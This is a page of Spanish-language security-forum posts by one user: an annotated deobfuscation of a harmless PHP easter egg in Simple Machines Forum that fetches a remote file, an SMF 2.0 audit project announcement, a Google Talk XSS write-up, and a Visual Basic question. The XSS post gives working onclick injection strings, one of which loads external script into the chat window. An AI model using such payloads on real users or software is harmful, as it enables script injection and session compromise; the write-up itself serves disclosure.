  8. 'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
  9. 'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
  10. 'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
  11. 'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
  12. 'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
  13. );
  14.  
  15. mt_srand(1104307200);
  16.    $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo = array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));
  17.    /* Array con una dimensión de 6 variables numéricas
  18.     Array ( [0] => 6 [1] => 2 [2] => 9 [3] => 6 [4] => 10 [5] => 9 )
  19.    
  20.     For con 6 loops, uno para cada variable del array  */
  21.    for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){
  22.     $O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12));
  23.     //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'}) - mt_rand(0,12));<br />';
  24.     $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]);
  25.     //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']) - $'.$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']);<br /><br />';
  26.    }
  27.    /* Desarrollo:
  28.     $Array[$0] = chr(ord($ywky~{{$0}) - mt_rand(0,12));
  29.     $swky~{[$0] = chr(ord($swky~{[$0]) - $Array[$0]);
  30.  
  31.     $Array[$1] = chr(ord($swky~{{$1}) - mt_rand(0,12));
  32.     $suky~{[$1] = chr(ord($suky~{[$1]) - $Array[$1]);
  33.  
  34.     $Array[$2] = chr(ord($suky~{{$2}) - mt_rand(0,12));
  35.     $suby~{[$2] = chr(ord($suby~{[$2]) - $Array[$2]);
  36.  
  37.     $Array[$3] = chr(ord($suby~{{$3}) - mt_rand(0,12));
  38.     $subs~{[$3] = chr(ord($subs~{[$3]) - $Array[$3]);
  39.  
  40.     $Array[$4] = chr(ord($subs~{{$4}) - mt_rand(0,12));
  41.     $subst{[$4] = chr(ord($subst{[$4]) - $Array[$4]);
  42.  
  43.     $Array[$5] = chr(ord($subst{{$5}) - mt_rand(0,12));
  44.     $substr[$5] = chr(ord($substr[$5]) - $Array[$5]);
  45.    
  46.     Resultado:
  47.     // Array con una dimensión de 6 valores alfanuméricos
  48.     // Array ( [0] => t [1] => t [2] => ` [3] => x [4] => y [5] => o )
  49.     // Resuelto a partir del primer array con citas de personajes */
  50.    $OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O = array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
  51.    /* Eval para despistar mas un retorno de valor igual a '32' para completar la ecuación aritmética
  52.     Array con una dimensión de 6 valores alfanuméricos
  53.     Array ( [0] => 37 [1] => 3 [2] => 22 [3] => 33 [4] => 35 [5] => 73 ) */
  54. $OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644';
  55.    /* Constante numérica al igual que el valor '1' en el eval anterior */
  56.    foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q){
  57.     $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
  58.     //echo '$'.$Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = $'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'($'.$q.',$'.$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'],$'.$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'})<br />';
  59.    }
  60.    /*
  61.      Procesa la leyenda de arriba sustrayendo carácteres posicionados en cada variable de la
  62.      dimensión del array anterior:
  63.      $Array[$0] = $substr($Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton,$Array[$0],$335644{$0})
  64.      $Array[$1] = $substr($My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff,$Array[$1],$335644{$1})
  65.      $Array[$2] = $substr($Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken,$Array[$2],$335644{$2})
  66.      $Array[$3] = $substr($Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won't once it's decoded. ~Laurie Anderson,$Array[$3],$335644{$3})
  67.      $Array[$4] = $substr($I don't see the logic of rejecting data just because they seem incredible. ~Fred Hoyle,$Array[$4],$335644{$4})
  68.      $Array[$5] = $substr($Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle,$Array[$5],$335644{$5})
  69.      
  70.      Resultado:
  71.      un array con una dimensión de 6 variables:
  72.      Array ( [0] => pow [1] => web [2] => fetch [3] => decode [4] => data [5] => base )
  73.     */
  74.    // print_r($Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO);
  75. $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3];
  76.    /* Devuelve el string 'base64_decode' desde dos strings diferentes concatenado por un '_' que es la palabra 'base64' y 'decode' */
  77.    $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
  78.    /* Devuelve el string 'fetch_web_data' */
  79. require_once($sourcedir . '/Subs-Package.php');
  80.    /* Incluye el subs con la función fetch_web_data para poder obtener el contenido externo */
  81.    $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
  82.    //echo '$OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'($'.$O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O.'($'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'(\'aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==\')));';
  83.    /* Resolución:
  84.     $str = $base64_decode($fetch_web_data($base64_decode('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
  85.     Hace la petición a http://www.simplemachines.org/smf/latest-laugh.js y obtiene su contenido */
  86. if (1/M_PI_2 == M_2_PI){
  87.    /* Verificación redundante:
  88.     1/1.5707963267949 == 0.63661977236758
  89.    
  90.     Termina el script mostrando únicamente el contenido obtenido sin procesar el resto del script del foro
  91.     */
  92.     die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
  93.    }
  94. }

La sorpresa no eran las variables raras sino el contenido.

Me da un poco de gracia tanto código y ofusación de código que intentaron hacer porque no se necesitan mas de dos dedos de frente para saber que el string "aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==" es base64 y al descifrarlo está el enlace hacia el control de simplemachines:
http://www.simplemachines.org/smf/latest-laugh.js
y nuevamente si lo procesamos en base64 encontramos el string completo que se nos ve en nuestra web visualizandolo desde index.php?action=mascot
No se necesita ser matematico ni si quiera entender el código para saber que hay, de hecho si le pones un echo a cada variable encuentras el código igual  :rolleyes:

En fin,  si desciframos eso en base64 podemos ver esto:

Código
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml"><head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  4. <title>My name is Earl</title>
  5. </head>
  6. <h1>Watch out!  He's a killer!</h1>
  7. <img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
  8. </body>
  9. </html>



 :xD que cosas jajaja

La voz de la experiencia: http://www.simplemachines.org/community/index.php?topic=198912.msg1265079#msg1265079
318  Seguridad Informática / Nivel Web / Auditoría de seguridad hacia Simple Machines Forum 2.0 en: 18 Octubre 2009, 23:13 pm


Proyecto SimpleAudit 2.0

Es un proyecto destinado a realizar auditorías de seguridad a nivel WEB hacia el software de SMF 2.0 (Simple Machines Forum) con la finalidad de que sus desarrolladores puedan crear cada dia un software mas robusto y seguro.



Integrantes - (participando en el proyecto)

Colaboradores (forman parte del proyecto pero necesitaran encontrar algo antes de tener acceso al resto de los reportes):



Vulnerabilidades encontradas
45
(40 reportadas + 0 notificadas + 5 privadas)
Último disclosure: 1 de diciembre
Próximo disclosure: 1 de enero

Backdoors encontrados
1




Todos los resultados se irán mostrando en este lugar con todos sus detalles.

Si tienes algún comentario, pregunta, aporte o lo que necesites compartir puedes hacerlo en este post:
http://foro.elhacker.net/nivel_web/proyecto_de_auditoria_a_smf_20_laboratorio_de_bugsnivel_web-t271095.0.html

Si hay algúna vulnerabilidad o bug que no aparece en este lugar es porque todavía se mantiene en privado hasta cumplirse el plazo estimado para su posible reparación o publicación futura.



Puedes seguir la auditoría en Twitter:
http://twitter.com/simpleaudit

Además en FeedBurner:
Código
  1. <a href="http://twitter.com/simpleaudit">
  2. http://feeds.feedburner.com/Twitter/Simpleaudit.gif
  3. </a>



Meneame:
http://meneame.net/story/localizaron-mas-40-bugs-auditoria-smf-2.0
319  Seguridad Informática / Nivel Web / XSS en Google Talk 1.0.0.105 en: 18 Octubre 2009, 01:54 am
Bueno, comenzé a probar en una virtual de gtalk a gtalk y me encontré con dos xss.
Por ejemplo cuando uno escribe un enlace http://<h1>test se ejecuta inmediatamente ya que el enío del string dentro de un href no se filtra y eso significa que un xss puede alojarse en el nombre de la url y el otro en la url misma como código html.

Cuando escribimos http://<h1>test en realidad se imprime esto: <a href='http://<h1>test'>http://<h1>test</a> y como se utilizan comillas simples para los tags de html podemos escapar con http://'onclick='alert(/lol/)'x=' y quedará masomenos así:
<a href='http://'onclick='alert(/lol/)'x=''>http://'onclick='alert(/lol/)'x='</a>

xDD y el resultado es algo asi como esto:



Conversando con SirDarckCat estubimos casi toda la noche jugando con el google talk cambiandole el fondo por una imagen de doom3, paisajes, coloreando los bordes, letras hasta que a el se le ocurrió inyectar el firebug y saber un poco mas del código fuente ya que en realidad no habia archivo temporal porque utilizaba un iframe de internet explorer 6 con la dirección about:blank haciendo document.write



A los que quiean inyectar el firebug pueden escribir estas dos lineas:
Citar
http://'onclick='document.body.appendChild(document.createElement("script")).src="http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js"'x='
hacerle click y luego
Citar
http://'onclick='alert(firebug.init())'x='
y al hacerle click llamarán a firebug  :P

Está entetenido.
Para los que quieran descompilar el ejecutable del gtalk está cifrado en molebox 2.5.7 .
320  Programación / Programación Visual Basic / Hacer setfocus reemplazando TAB en: 16 Octubre 2009, 03:48 am
Hola, resulta que el orden de las cajas de texto en un proyecto que estoy haciendo no están en orden alfabética ni por orden de creación por lo tanto cuando presiono tab en un textbox me manda a otro textbox de mas arriba, por lo tanto como no están en orden quería capturar la tecla tab en cada caja de texto para hacer setfocus al textbox siguiente pero el problema es que no me lo captura  :P

Código
  1. Private Sub Text4_KeyPress(KeyAscii As Integer)
  2. If KeyAscii = 13 Then
  3.  Text5.SetFocus
  4. End If
  5. End Sub

Lo hize con el botón enter que es el 13 pero intenté ponerle msgbox keyascii para ver cual es el valor de la tecla tab y no me lo captura  :-\ .
Como puedo capturar el tabulador y hacerle setfocus al textbox siguiente?
Páginas: 1 ... 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [32] 33 34 35 36 37 38 39 40 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines